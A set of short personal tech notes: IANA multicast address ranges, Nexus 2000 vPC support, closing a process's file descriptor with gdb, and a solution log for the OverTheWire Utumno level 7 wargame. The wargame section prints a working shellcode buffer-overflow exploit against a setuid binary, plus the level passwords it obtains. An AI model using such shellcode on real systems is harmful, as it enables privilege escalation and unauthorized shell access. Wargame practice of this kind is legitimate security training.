# Well-known permanent multicast IP adresses


Introduction

IANA has assigned several ranges of multicast IP addresses for specific types of reasons:

- Permament multicast groups: 224.0.0.0 - 224.0.1.255
- Adresseses used with Source-Specific Multicast (SSM): 232.0.0.0 - 232.255.255.255
- GLOP addressing: 233.0.0.0 - 233.255.255.255
- Private multicast addresses: 239.0.0.0 - 239.255.255.255
- Transient multicast addresses: 224.0.2.0 - 231.255.255.255, 234.0.0.0 - 238.255.255.255

Permament multicast addresses
Dst IP         Usage     Protocol      Src port    Dst port
-----------------------------------------------------------
224.0.0.2      HSRP      UDP (17)      1985        1985
224.0.0.5      OSPF      OSPF (89)     -           -
224.0.0.6      OSPF      OSPF (89)     -           -
224.0.0.9      RIPv2     UDP (17)      520         520
224.0.0.10     EIGRP     EIGRP (88)    -           -
224.0.0.18     VRRP      VRRP (112)    -           -
224.0.0.102    HSRPv2    UDP (17)      1985        1985
224.0.0.102    GLBP      UDP (17)      3222        3222

# vPC on Nexus 2000


Topology

- Double vPC between N7K and N5K.
- Single-homed or dual-homed between N5K and N2K (FEX).

Single-homed

- The 2148 is not capable of doing a standard port-channel.
- The 2148 is capable of doing a vPC of two ports (each one on a different FEX).
- The 2248 is capable of doing a standard port-channel.
- The 2248 is capable of doing a vPC of two or more ports.

Dual-homed

- The 2148 is not capable of doing a standard port-channel.
- The 2148 is not capable of doing a vPC.
- The 2248 is capable of doing a standard port-channel.
- The 2248 is not capable of doing a vPC.

Dual-homed - Enhanced vPC

- Supported from NX-OS 5.1(3)N1(1) and Nexus 5548P, 5548UP or 5596UP devices.
- The 2248 is capable of doing a standard port-channel.
- The 2248 is capable of doing a vPC of two or more ports.

Notes

- The 2148 and 2248 provide 48 x 1Gbps copper ports and 4 x 10 Gbps SFP+ ports.
- The 2148 does not support 10/100 Mbps.
- The 2248 does not support 10 Mbps.

# Closing a process file descriptor while is running


# ls -l /proc/26133/fd
0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> socket:[21652774]
4 -> socket:[21652775]
5 -> socket:[21652776]
6 -> socket:[21652777]
7 -> /daft_punk-ram-get_lucky.mp3
# lsof -n -i 4 -a -p 26133
COMMAND   PID FD   TYPE   DEVICE SIZE/OFF NODE NAME
vlc     26133  3u  IPv4 21652774      0t0  UDP 192.168.1.1:46833->192.168.1.2:2001
vlc     26133  4u  IPv4 21652775      0t0  UDP 192.168.1.1:46834->192.168.1.2:2002
vlc     26133  5u  IPv4 21652776      0t0  UDP 192.168.1.1:48852->192.168.1.3:2001
vlc     26133  6u  IPv4 21652777      0t0  UDP 192.168.1.1:48853->192.168.1.3:2002
# echo -e "call close(3)\nquit" > gdb_commands
# gdb -p 26133 --batch -x gdb_commands

# Utumno wargame: Level 7


# ssh utumno7@utumno.labs.overthewire.org
utumno7@utumno.labs.overthewire.org's password:746f7469717565676165

utumno7@melissa$ file /utumno/utumno7
/utumno/utumno7: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
utumno7@melissa$ export LD_POINTER_GUARD=0
utumno7@melissa$ /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
^Z
[1]+  Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ jobs -l
[1]+ 30392 Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ kill -10 30392
utumno7@melissa$ fg
/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
^Z
[1]+  Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ kill -12 30392
utumno7@melissa$ fg
/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
$ /usr/bin/whoami
utumno8
$ /bin/cat /etc/utumno_pass/utumno8
6a616579656574696176
A special thanks to Xelenonz.